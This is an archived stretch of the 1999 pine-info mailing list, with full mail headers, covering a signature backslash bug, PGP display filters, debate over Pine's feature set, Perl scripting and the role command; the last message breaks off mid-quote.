Feb 1999 09:17:12 -0700 (MST) Message-Id: Date: Wed, 24 Feb 1999 09:11:55 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Daniel Sands To: Pine Discussion Forum Subject: Re: Problems with signature and tokens In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > This: > _ _ ___ ___ ___ ___ ___ > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/ > Feel the Art. Does it work to add an extra backslash before each backslash? i.e: > _ _ ___ ___ ___ ___ ___ > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > http://fly.cc.fer.hr/~unreal/ \\___/\\|__/\\_)\\/\\___/\\_|_/\\___/ > Feel the Art. It looks ugly here, but might solve your problem. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 09:09:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA29085 for ; Wed, 24 Feb 1999 09:09:26 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09042; Wed, 24 Feb 1999 09:09:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA00762; Wed, 24 Feb 1999 09:07:07 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA39380 for ; Wed, 24 Feb 1999 08:24:41 -0800 Received: from sass165.sandia.gov (mailgate.sandia.gov [132.175.109.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA29256 for ; Wed, 24 Feb 1999 08:24:41 -0800 Received: from sasg829.sandia.gov (sasg829.sandia.gov [134.253.226.190]) by sass165.sandia.gov (8.9.1a/8.9.1a) with ESMTP id JAA17717 for ; Wed, 24 Feb 1999 09:24:21 -0700 (MST) Message-Id: Date: Wed, 24 Feb 1999 09:19:04 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Daniel Sands To: Pine Discussion Forum Subject: Re: display filters in Pine In-Reply-To: <36D3FC2E.F7C5E5C8@student.ul.ie> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Hello everyone, > I am looking for a way to include two different display filters in the > setup menu. > Is it possible to add the two of them. At the moment I have: > "-----BEGIN PGP MESSAGE-----" /usr/local/bin/decrypt _TMPFILE_ > I want to add to this : > "-----BEGIN PGP SIGNATURE-----" /usr/local/bin/decrypt1 _TMPFILE_ > Can I just put an || sign between the two of them. Dunno, but you could probably write a script to handle this and then run the script on "-----BEGIN PGP ". The script can then look for the appropriate tag and run decrypt[1] based on that tag. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 09:18:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA28507 for ; Wed, 24 Feb 1999 09:18:15 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09309; Wed, 24 Feb 1999 09:18:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA20208; Wed, 24 Feb 1999 09:13:58 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA16208 for ; Wed, 24 Feb 1999 08:34:09 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA28321 for ; Wed, 24 Feb 1999 08:34:07 -0800 Received: from aleph.ii.com ("port 1145"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J84CHKNA6O001BCD@mail1.new-york.net> for pine-info@u.washington.edu; Wed, 24 Feb 1999 11:33:45 -0500 (EDT) Message-Id: Date: Wed, 24 Feb 1999 11:32:51 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-To: Daniel Sands X-Cc: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 24 Feb 1999, Daniel Sands wrote: > As the documentation says, it is intended to be a lightweight > program with an easy-to-use interface and a few advanced features. Please point me to where the Pine documentation says that. I have honestly thought Pine is powerful, but maybe I'm confused and should seriously start looking for a better program. Suggestions are welcome. -Nancy From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 09:25:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA29348 for ; Wed, 24 Feb 1999 09:25:07 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA17136; Wed, 24 Feb 1999 09:25:05 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA20960; Wed, 24 Feb 1999 09:20:39 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA16268 for ; Wed, 24 Feb 1999 08:52:15 -0800 Received: from sass165.sandia.gov (mailgate.sandia.gov [132.175.109.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA31176 for ; Wed, 24 Feb 1999 08:52:14 -0800 Received: from sasg829.sandia.gov (sasg829.sandia.gov [134.253.226.190]) by sass165.sandia.gov (8.9.1a/8.9.1a) with ESMTP id JAA24796 for ; Wed, 24 Feb 1999 09:51:54 -0700 (MST) Message-Id: Date: Wed, 24 Feb 1999 09:46:37 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Daniel Sands To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > > As the documentation says, it is intended to be a lightweight > > program with an easy-to-use interface and a few advanced features. > > Please point me to where the Pine documentation says that. I have > honestly thought Pine is powerful, but maybe I'm confused and should > seriously start looking for a better program. Suggestions are welcome. >From doc/brochure.txt: Pine(tm) --a Program for Internet News & Email-- is a tool for reading, sending, and managing electronic messages. It was designed specifically with novice computer users in mind, but can be tailored to accommodate the needs of "power users" as well. Pine uses Internet message protocols (e.g. RFC-822, SMTP, MIME, IMAP, NNTP) and runs on Unix and PCs. The guiding principles for Pine's user-interface were: careful limitation of features, one-character mnemonic commands, always-present command menus, immediate user feedback, and high tolerance for user mistakes. It is intended that Pine can be learned by exploration rather than reading manuals. Feedback from the University of Washington community and many thousands of Internet sites around the world has been encouraging. I am not saying that Pine is worthless. Only that it is excellent for basic purposes and useless for more advanced purposes. That is what the designers aimed for. In fact, the early code was based on the Elm mail reader. At the time, Elm was one of the feature-rich mail programs, but many users found it to be clunky. Hence the Pine project. Personally, I prefer Pine. It does everything I need--simple mail reading and replying. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 09:31:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA29548 for ; Wed, 24 Feb 1999 09:31:56 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09684; Wed, 24 Feb 1999 09:31:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA21784; Wed, 24 Feb 1999 09:27:21 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA44484 for ; Wed, 24 Feb 1999 08:55:43 -0800 Received: from fly.cc.fer.hr (unreal@fly.cc.fer.hr [161.53.70.130]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA31779 for ; Wed, 24 Feb 1999 08:55:41 -0800 Received: from localhost (unreal@localhost) by fly.cc.fer.hr (8.9.0/8.9.0) with ESMTP id RAA23209 for ; Wed, 24 Feb 1999 17:55:35 +0100 (MET) Message-Id: Date: Wed, 24 Feb 1999 17:55:35 +0100 (MET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Goran UnreaL Krajnovic To: Pine Discussion Forum Subject: Re: Problems with signature and tokens In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Cc: Pine Discussion Forum X-Url: http://fly.cc.fer.hr/~unreal/index.html X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 24 Feb 1999, Daniel Sands wrote: > > This: > > _ _ ___ ___ ___ ___ ___ > > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > > http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/ > > Feel the Art. > > Does it work to add an extra backslash before each backslash? i.e: > > _ _ ___ ___ ___ ___ ___ > > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > > http://fly.cc.fer.hr/~unreal/ \\___/\\|__/\\_)\\/\\___/\\_|_/\\___/ > > Feel the Art. > > It looks ugly here, but might solve your problem. Nope. I too thought of that, but there is no effect. Actually, both \___/ and \\___/ come out as ___/ and pine doesn't appear to care about escaping backslashes. And anyway, as far as I have seen from the manuals, all the tokens are of the form _NAME_ and I don't see why pine has to mangle my backslashes. And also notice that in the previous line of the ascii, everything is just fine, all the backslashes are in place. -- _ _ ___ ___ ___ ___ ___ unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ http://fly.cc.fer.hr/~unreal/ ___/\|__/_)\/___/_|_/___/ Feel the Art. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 10:03:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA29899 for ; Wed, 24 Feb 1999 10:03:13 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA10511; Wed, 24 Feb 1999 10:03:11 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA06333; Wed, 24 Feb 1999 09:56:20 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id JAA47038 for ; Wed, 24 Feb 1999 09:52:47 -0800 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA13714 for ; Wed, 24 Feb 1999 09:52:46 -0800 Received: from D-140-142-110-32.dhcp.washington.edu (D-140-142-110-32.dhcp.washington.edu [140.142.110.32]) by shiva2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA23139; Wed, 24 Feb 1999 09:52:21 -0800 Message-Id: Date: Wed, 24 Feb 1999 09:54:08 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: Re: Problems with signature and tokens In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Goran UnreaL Krajnovic X-Cc: Pine Discussion Forum X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN It's a bug. Will be fixed in next release. -teg On Wed, 24 Feb 1999, Goran UnreaL Krajnovic wrote: > On Wed, 24 Feb 1999, Daniel Sands wrote: > > > > This: > > > _ _ ___ ___ ___ ___ ___ > > > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > > > http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/ > > > Feel the Art. > > > > Does it work to add an extra backslash before each backslash? i.e: > > > _ _ ___ ___ ___ ___ ___ > > > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > > > http://fly.cc.fer.hr/~unreal/ \\___/\\|__/\\_)\\/\\___/\\_|_/\\___/ > > > Feel the Art. > > > > It looks ugly here, but might solve your problem. > > Nope. I too thought of that, but there is no effect. Actually, both > > \___/ and \\___/ > > come out as > > ___/ > > and pine doesn't appear to care about escaping backslashes. And anyway, as > far as I have seen from the manuals, all the tokens are of the form _NAME_ > and I don't see why pine has to mangle my backslashes. And also notice > that in the previous line of the ascii, everything is just fine, all the > backslashes are in place. > > -- > _ _ ___ ___ ___ ___ ___ > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_ > http://fly.cc.fer.hr/~unreal/ ___/\|__/_)\/___/_|_/___/ > Feel the Art. > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 10:13:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA30465 for ; Wed, 24 Feb 1999 10:13:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18459; Wed, 24 Feb 1999 10:13:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA26159; Wed, 24 Feb 1999 10:10:16 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id KAA28350 for ; Wed, 24 Feb 1999 10:04:20 -0800 Received: from mailgate.novagate.net (IDENT:root@mailgate.novagate.net [205.138.138.22]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA13505 for ; Wed, 24 Feb 1999 10:04:17 -0800 Received: from TC1-X2-232.Muskegon.novagate.net (IDENT:topher@TC1-X2-232.Muskegon.novagate.net [208.154.0.232]) by mailgate.novagate.net (8.9.2/8.9.2) with ESMTP id NAA13730 for ; Wed, 24 Feb 1999 13:04:14 -0500 (EST) Message-Id: Date: Wed, 24 Feb 1999 18:04:08 +0000 ( ) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Topher To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: topher@drasnia.gf.gospelcom.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN It depends on what you want it to do (as with every program ever). If you want a newsreader, another program is probably better. But if you want an email program, Pine excels in several areas. The thing I like most about it is that I can telnet or SSh to my box from anywhere in the world, and use *my* email client. Not just the same software, but the one on my box with my configurations. That rules. Also, the aggregate command set is something I haven't seen anywhere else. Sure, with Eudora you can use the mouse to select multiple messages, but isn't it easier to have the program do it for you? Pine *is* powerful, it just doesn't fulfill the desire of every person on earth. For example, I'd love to be able to use roles to compose a message from an address, but at this point it only works when replying. I'd love a filtering program that will work over IMAP (procmail, elm's filter and others only work on the local box). And I mean message sorting style filtering, not display filtering. But just because Pine doesn't do these things yet doesn't mean I'm switching to anything else anytime soon. Pine just rules. On Wed, 24 Feb 1999, Nancy McGough wrote: > On 24 Feb 1999, Daniel Sands wrote: > > As the documentation says, it is intended to be a lightweight > > program with an easy-to-use interface and a few advanced features. > > Please point me to where the Pine documentation says that. I have > honestly thought Pine is powerful, but maybe I'm confused and should > seriously start looking for a better program. Suggestions are welcome. > > -Nancy > > Topher Tech Support topher@gospelcom.net Gospel Communications Network From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 10:16:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA30077 for ; Wed, 24 Feb 1999 10:16:56 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA10922; Wed, 24 Feb 1999 10:16:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA07796; Wed, 24 Feb 1999 10:13:48 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id KAA46626 for ; Wed, 24 Feb 1999 10:04:48 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA13723 for ; Wed, 24 Feb 1999 10:04:46 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA17972 for ; Wed, 24 Feb 1999 10:04:45 -0800 Message-Id: Date: Wed, 24 Feb 1999 10:04:43 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: Problems with signature and tokens In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The backslash underscore problem is a bug. It will be fixed in next version. Your old signature file will work again at that point. Sorry for the trouble. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 10:40:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA24123 for ; Wed, 24 Feb 1999 10:40:36 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA11516; Wed, 24 Feb 1999 10:40:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA09255; Wed, 24 Feb 1999 10:34:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id KAA34328 for ; Wed, 24 Feb 1999 10:31:31 -0800 Received: from mailhub.tc.fluke.com (mailhub.tc.fluke.com [206.138.179.14]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA18298 for ; Wed, 24 Feb 1999 10:31:31 -0800 Received: from dd.tc.fluke.com (root@dd.tc.fluke.com [129.196.136.109]) by mailhub.tc.fluke.com (8.9.1/8.9.1) with ESMTP id KAA29800 for ; Wed, 24 Feb 1999 10:31:30 -0800 (PST) Received: from localhost (dcd@localhost [127.0.0.1]) by dd.tc.fluke.com (8.8.5/8.6.12) with ESMTP id KAA16599 for ; Wed, 24 Feb 1999 10:31:31 -0800 Message-Id: Date: Wed, 24 Feb 1999 10:31:31 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: David Dyck To: Pine Discussion Forum Subject: Perl (or other scripting language) and Pine (was: UI of Pine on X-Windows vs. MS-Windows?) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've seen other applications that have perl embedded in them? Has anyone look (or thought) about adding a scripting language to pine? I'd prefer perl, but there are probably other scripting languages. I know that administration-wise, we have had to wrap pine inside shell scripts, that may have been avoided if the system configuration file could have enabled and/or triggered specific scripting commands. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 11:03:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA31115 for ; Wed, 24 Feb 1999 11:03:48 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA19859; Wed, 24 Feb 1999 11:03:46 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA00240; Wed, 24 Feb 1999 11:00:37 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id KAA30124 for ; Wed, 24 Feb 1999 10:57:15 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA20113 for ; Wed, 24 Feb 1999 10:57:15 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18982 for ; Wed, 24 Feb 1999 10:57:14 -0800 Message-Id: Date: Wed, 24 Feb 1999 10:57:13 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN `#' command from Main menu will do this. Or you can set the feature confirm-role-even-for-default if you don't mind prompts. -- Steve Hubert Networks and Distributed Computing, Univ. of Washington, Seattle On Wed, 24 Feb 1999, Topher wrote: > For example, I'd love to be able to use roles to compose a message from an > address, but at this point it only works when replying. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 11:11:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA31309 for ; Wed, 24 Feb 1999 11:11:38 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA12410; Wed, 24 Feb 1999 11:11:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA00977; Wed, 24 Feb 1999 11:09:15 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id LAA46842 for ; Wed, 24 Feb 1999 11:05:56 -0800 Received: from webster (webster.vetri.com [198.153.135.140]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id LAA26197 for ; Wed, 24 Feb 1999 11:05:56 -0800 Received: from spike by webster (SMI-8.6/SMI-SVR4) id OAA22611; Wed, 24 Feb 1999 14:09:30 -0500 Message-Id: Date: Wed, 24 Feb 1999 14:09:51 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Shawn Jeffries To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Steve Hubert X-Cc: Pine Discussion Forum X-Sender: ujefsh81@spike X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 24 Feb 1999, Steve Hubert wrote: >`#' command from Main menu will do this. Or you can set the feature >confirm-role-even-for-default if you don't mind prompts. Would it be possible to enable te same '#' command on any screen where 'C' (compose) is allowed? What problems would it cause? -- Shawn Jeffries ujefsh81@vetri.com From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 11:19:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA31435 for ; Wed, 24 Feb 1999 11:19:03 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA12603; Wed, 24 Feb 1999 11:18:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA18939; Wed, 24 Feb 1999 11:14:53 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id LAA26632 for ; Wed, 24 Feb 1999 11:09:26 -0800 Received: from mailgate.novagate.net (IDENT:root@mailgate.novagate.net [205.138.138.22]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA26774 for ; Wed, 24 Feb 1999 11:09:26 -0800 Received: from TC1-X2-232.Muskegon.novagate.net (IDENT:topher@TC1-X2-232.Muskegon.novagate.net [208.154.0.232]) by mailgate.novagate.net (8.9.2/8.9.2) with ESMTP id OAA20098; Wed, 24 Feb 1999 14:09:23 -0500 (EST) Message-Id: Date: Wed, 24 Feb 1999 19:09:18 +0000 ( ) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Topher To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Steve Hubert X-Cc: Pine Discussion Forum X-Sender: topher@drasnia.gf.gospelcom.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > `#' command from Main menu 